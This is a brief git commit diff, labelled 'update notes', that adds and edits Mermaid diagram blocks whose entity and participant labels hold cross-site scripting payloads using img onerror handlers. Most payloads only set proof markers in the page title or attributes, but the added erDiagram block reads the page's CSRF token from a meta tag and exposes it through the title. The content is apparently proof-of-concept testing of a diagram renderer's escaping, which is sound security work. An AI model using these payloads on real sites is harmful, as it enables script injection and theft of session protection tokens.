update notes

This commit is contained in:
2026-09-27 08:41:12 +00:00
parent bbd60a9912
commit 2d752ebf60

View File

@ -2,11 +2,16 @@
```mermaid
erDiagram
A ||--o{ B : "<img src=x onerror=top.document.title='MMXSS-POC'>"
A ||--o{ B : "<img src=x onerror=top.document.documentElement.setAttribute('data-er','POC-ER')>"
```
```mermaid
sequenceDiagram
participant A as Alice<img src=x onerror=top.document.title='MMXSS-POC'>$$\text{A}$$
participant A as Alice<img src=x onerror=top.document.documentElement.setAttribute('data-seq','POC-SEQ')>$$\text{A}$$
A->>B: hi
```
```mermaid
erDiagram
C ||--o{ D : "<img src=x onerror=top.document.title=top.document.querySelector('meta[name=_csrf]').content>"
```